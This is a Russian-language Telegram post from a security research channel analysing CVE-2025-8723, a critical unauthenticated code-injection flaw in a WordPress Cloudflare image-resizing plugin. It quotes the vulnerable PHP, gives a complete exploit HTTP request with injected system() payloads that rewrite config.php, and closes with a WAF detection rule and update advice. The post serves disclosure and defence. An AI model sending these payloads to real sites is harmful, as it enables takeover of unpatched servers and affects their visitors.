TGViewer
Четыре луча Четыре луча @four_rays · 4.02K subscribers
Post #125 3.02K
Хранимая RCE 👀

CVE-2025-8723 — уязвимость удаленного выполнения произвольного кода в плагине Cloudflare Image Resizing для WordPress, которая возникает из-за отсутствия аутентификации и недостаточной очистки в методе hook_rest_pre_dispatch(). Уязвимы версии до 1.5.6.

😬 Метрики
Base Score: 9.8 CRITICAL
CWE: CWE-94


Настоятельно рекомендуем обновиться.


😬 Подробнее
Уязвимость позволяет менять кодовою базу конфигурационного файла config.php. Другими словами, эту уязвимость можно назвать хранимой RCE. В файле существует такой код, который получает данные из параметра cf_image_resizing_format и вставляет их в $config_file.
        $format = @isset($request['cf_image_resizing_format']) ? $request['cf_image_resizing_format'] : null;

if (null !== $format)
{
$file_content = file_get_contents($config_file);

$file_content = preg_replace("/(define\(\'CF_IMAGE_RESIZING_FORMAT\'\,\s\')(.*)(\'\)\;)/", "$1$format$3", $file_content);

file_put_contents($config_file, $file_content);
}


$config_file — это config.php.
 $config_file = WP_PLUGIN_DIR.'/cf-image-resizing/config.php'


Если отправим запрос такого вида,
POST /wp-json/wp/v2/settings/ HTTP/1.1
Host: 192.168.177.165
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/89.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 52

{"cf_image_resizing_format":"'); system('id'); /*" }


то получим следующие изменения в конфигурационном файле:
// Recommended: 'auto'
define('CF_IMAGE_RESIZING_FORMAT', ''); system('id'); /*');


Важно отметить, что cf_image_resizing_format — не единственный уязвимый параметр. Еще есть, например, cf_image_resizing_fit. Более подробно с ними можно ознакомиться, скачав плагин и открыв config.php.

Введённый код напрямую добавляется в файлы плагина и позволяет атакующему выполнять внедрённые команды при каждом запросе к сайту без необходимости ввода shell-команд. Например, если в кодовую базу плагина попадёт такая строка, файл Hi.html будет создаваться или перезаписываться при каждом посещении сайта. Любой посетитель триггерит выполнение команды.

Уточнение: при посещении страницы все активные плагины автоматически загружаются, и будет выполнен любой код в их главных файлах или подключаемых конфигурациях.
{"cf_image_resizing_format":"'); system('echo \"<h1>Привет<h1>\" > Hi.html'); /*" }


😬 Как защититься
На WAF можно написать правило, которое отслеживает передачу функций system, exec, shell_exec, eval в параметрах cf_image_resizing_fit, cf_image_resizing_format на конечную точку /wp-json/wp/v2/settings/.
  • ✍ 6
  • 🔥 6
  • 👀 4
  • ❤ 3
  • 👍 1
  • 😁 1
More from @four_rays
  1. Sep 14, 2026💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить Rust…
  2. Sep 11, 2026😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак Когда стан…
  3. Sep 7, 2026😀 Call for Papers на технострим SOC Forum 2026 еще открыт! Темы: 1️⃣ Offense: актуальные…
  4. Aug 31, 2026☀️ Zimbra, все еще скрывающая боль Ранее мы уже рассказывали о расследовании «Zimbra, скры…
  5. Aug 19, 2026💡 Разберемся с непопулярными артефактами на OffZone 2026 Выбираете, какие выступления пос…
  6. Aug 17, 2026😀 Admin may cry CVE-2026-41452 — уязвимость, позволяющая перезаписать данные администрато…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →